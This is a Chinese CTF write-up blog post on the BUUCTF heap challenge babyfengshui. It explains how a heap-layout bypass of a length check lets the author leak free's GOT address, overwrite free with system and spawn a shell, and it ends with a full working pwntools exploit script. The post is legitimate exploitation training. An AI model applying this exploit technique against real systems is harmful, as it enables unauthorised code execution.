babyfengshui__BUUCTF

其实这个题用了两天,第一天拿上题的时候比较浮躁,也没什么分析的效果,把题做出来了,写个文章大家分析交流
我看网上大家都说这个题适合入门堆得看,其实我感觉要是没接触过堆得话,理解起来还是比较困难的,我会将自己做题的思路记录下来,让大家少踩点坑
好像这个题在攻防世界也存在
做题思路
1.查看安全机制/文件信息
2.分析IDA,梳理思路很重要
3.分析构造漏洞利用(其实自己都是一步步来的,毕竟还是个小白呢)
4.编写EXP文件

1.安全机制

在这里插入图片描述运行
在这里插入图片描述0:添加一个用户 1:删除用户 2:显示用户 3:更新用户描述 4:退出
在这里插入图片描述这里要注意是否开启系统随机化,不方便本地测试(系统随机化其实都是默认开启的)

2.IDA分析

0.add
在这里插入图片描述1.free
在这里插入图片描述2.play
在这里插入图片描述
3.update
在这里插入图片描述update存在问题,这里是限制了我们的数据不能超过自定义的范围,不过还有一种方法可以绕过,就是释放空间再利用。这里还要注意一点就是上面的free函数,因为free没有将*ptr置为null,所以一直会存在这么一个指针

3.漏洞利用

第一按照数据结构画结构体(见谅)

**内容_chunk**	 #自定义size
{	
	pre_size
	size
	content
}
**描述_chunk** 	#这里固定大小为0x88
{
	size
	*ptr   #这里是很关键的一点,这里是指向内容_chunk的指针
	content
}

自己也做了好几道堆得题了,发现一个道理,只要知道了libc_base,就已经成功了一大半了
思路如下
0.写入/bin/sh\x00
1.泄露libc的地址(利用free的地址)

  1. 修改*ptr指针指向free的地址,泄露出got表的真实地址
  2. 在后面利用*ptr指针改为system地址,意思就是free的地址改为了system
  3. 当再次free的时候就触发了get shell

重点就是利用结构体的*ptr

编写EXP

经验

  1. 首先是写程序的流程,要注意用context.log_level = 'debug'可以及时的发现自己的错误
  2. 多利用sendlineafter可以很多的减少代码,不过有时候也要检查,自己遇到个别时候有不能用的时候
  3. 写完框架,要利用添加->打印->修改->释放的流程跑一边,检测框架是否有问题
  4. 这里要注意在自己本地测试不能用他的libc,因为程序调用的是自己本地的libc,当打通本地后利用他的libc去get shell!
  5. 我的script中的name每次都需要些用a*8去填充,你也可以在框架里面一次写入减少后面的变量传入
#!/usr/bin/env python
from pwn import*
context.log_level = 'debug'
p = process("./babyfengshui_33c3_2016")
#p = remote("pwn.buuoj.cn",20002)
elf = ELF("./babyfengshui_33c3_2016")
libc = ELF("./libc.so.6")  #libc = libc
def add(size,name,size_1,text):
	p.sendlineafter("Action: ",str(0))
	p.sendlineafter("size of description: ",str(size))
	p.sendlineafter("name: ",name)
	p.sendlineafter("text length: ",str(size_1))
	p.sendlineafter("text: ",text)
def delete(index):
	p.sendlineafter("Action: ",str(1))
	p.sendlineafter("index: ",str(index))
def play(index):
	p.sendlineafter("Action: ",str(2))
	p.sendlineafter("index: ",str(index))
def edit(index,leng,text):
	p.sendlineafter("Action: ",str(3))
	p.sendlineafter("index: ",str(index))
	p.sendlineafter("text length: ",str(leng))
	p.sendlineafter("text: ",text)
print '====add===='
add(128,"a"*8,30,"b"*8)  #0
add(128,"a"*8,30,"b"*8)  #1
print '====add bin_sh ===='
add(8,'a'*8,8,'/bin/sh\x00')  #2
delete(0)
gdb.attach(p)
print '====link libc===='
add(0x100,"a"*8,0x19c,"b"*0x198+p32(elf.got['free'])) #0x198后刚好是指向index =1 的content
play(1)  #这里刚好就将*ptr指向的free对应地址的内容给打印出来
p.recvuntil("description: ")
free_addr = u32(p.recv(4))
libc_base = free_addr - libc.symbols['free'] 
success("[+]---->free_addr = "+hex(free_addr))
success("[+]---->libc_base = "+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
print '====get_shell===='
edit(1,4,p32(system_addr)) #1
delete(2)
#gdb.attach(p)
p.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值